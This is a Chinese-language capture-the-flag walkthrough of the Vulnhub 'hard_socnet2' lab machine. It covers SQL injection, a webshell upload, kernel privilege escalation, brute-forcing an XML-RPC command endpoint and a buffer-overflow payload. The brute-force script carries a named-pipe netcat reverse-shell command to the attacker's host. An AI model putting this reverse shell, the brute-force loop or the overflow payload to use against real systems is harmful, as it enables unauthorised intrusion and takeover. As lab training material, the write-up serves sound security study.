Vulnhub靶机打靶-hard-socnet2

2022-03-12 15:24:44 浏览数 (1)

Author: yifang

靶机详情

难度:高 Tips 涉及知识: 主机发现 端口扫描 SQL注入 文件上传 蚁剑上线 CVE-2021-3493 XMLRPC 逆向工程 动态调试 缓冲区溢出 漏洞利用代码编写 靶机下载地址:https://download.vulnhub.com/boredhackerblog/hard_socnet2.ova 攻击方法有2种,CVE-2021-3493 另类提权方式 攻击主机:kali Linux 2021 192.168.0.103 目标主机: Ubuntu 18

攻击开始

代码语言:javascript复制
nmap -p- -sV -sC 192.168.0.102

目标主机打开了22,80,8000端口

经过测试,80页面允许正常访问,8000端口不允许任何HTTP连接方式,猜测可能存在另类服务。

访问80页面发现存在当前页面,

二话不说直接进行sqlmap跑一波

前端存在SQL漏洞,获得admin账户进行登录,使用更改头像功能,上一句话木马,

蚁剑测试连接成功!

可以看到获得的权限为www-data权限,尝试进行提权

代码语言:javascript复制
(www-data:/var/www/html/data/images/profiles) $ lsb_release -a
No LSB modules are available.
Distributor ID:    Ubuntu
Description:    Ubuntu 18.04.1 LTS
Release:    18.04
Codename:    bionic

发现目标为Ubuntu 18.04 LTS版本

尝试使用最新的EXP CVE-2021-9493(蚁剑的shell无法提权shell需要转nc shell)

上传exp文件运行,getshell,id查看自己的身份为root 打靶结束

不会以为就这样就结束了吧!!!

该靶机可是高难度的靶机!!!能如此轻松的解决这个靶机根本原因也是因为——该靶机为2020年的靶机,而刚才的打靶过程中,可是用到了2021年的CVE,也就是说我在用前朝的剑斩本朝的君!

正常操作

回到www-data权限下,尝试正常的得到shell权限,首先发现/home/socnet/monitor.py文件,打开文件查看一波!

代码语言:javascript复制
#my remote server management API
import SimpleXMLRPCServer
import subprocess
import random
debugging_pass = random.randint(1000,9999)
def runcmd(cmd):
    results = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
    output = results.stdout.read()   results.stderr.read()
    return output
def cpu():
    return runcmd("cat /proc/cpuinfo")
def mem():
    return runcmd("free -m")
def disk():
    return runcmd("df -h")
def net():
    return runcmd("ip a")
def secure_cmd(cmd,passcode):
    if passcode==debugging_pass:
         return runcmd(cmd)
    else:
        return "Wrong passcode."
server = SimpleXMLRPCServer.SimpleXMLRPCServer(("0.0.0.0", 8000))
server.register_function(cpu)
server.register_function(mem)
server.register_function(disk)
server.register_function(net)
server.register_function(secure_cmd)

可以看到使用了xmlRPC库,百度大法,找到一个xmlRPC的一个客户端,然后大致的修改一下,对secure_cmd函数进行爆破,尝试提权为socnet用户权限

代码语言:javascript复制
import xmlrpc.client
import random
while True:
    word = random.randint(1000,9999)
    with xmlrpc.client.ServerProxy("http://192.168.0.102:8000/") as proxy:
        res = str(proxy.secure_cmd('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.103 6666 >/tmp/f',word))

脸黑的话?可能要多等一会了

我是脸黑,等了半小时 (风中凌乱.jpg)

代码语言:javascript复制
python -c 'import pty; pty.spawn("/bin/bash")'

python 获得pty 对ncshell进行升级

发现存在一个add_record文件

在目标主机上,使用gdb进行动态调试,发现在Explain参数里面存在内存溢出

重点关注EIP寄存器被溢出了大量的’1111’

精确找到’1111’的具体位置(使用二分法判断)

得出偏移量为62

对汇编代码进行分析,发现存在vuln函数和backdoor函数,尝试溢出backdoor的起始内存

代码语言:javascript复制
python -c "import struct; print('an1n1n1n1'  'A'*61  struct.pack('I',0x08048676))" > payload

生成payload

代码语言:javascript复制
cat payload - | ./add_record 

XRSec has the right to modify and interpret this article. If you want to reprint or disseminate this article, you must ensure the integrity of this article, including all contents such as copyright notice. Without the permission of the author, the content of this article shall not be modified or increased or decreased arbitrarily, and it shall not be used for commercial purposes in any way

0 人点赞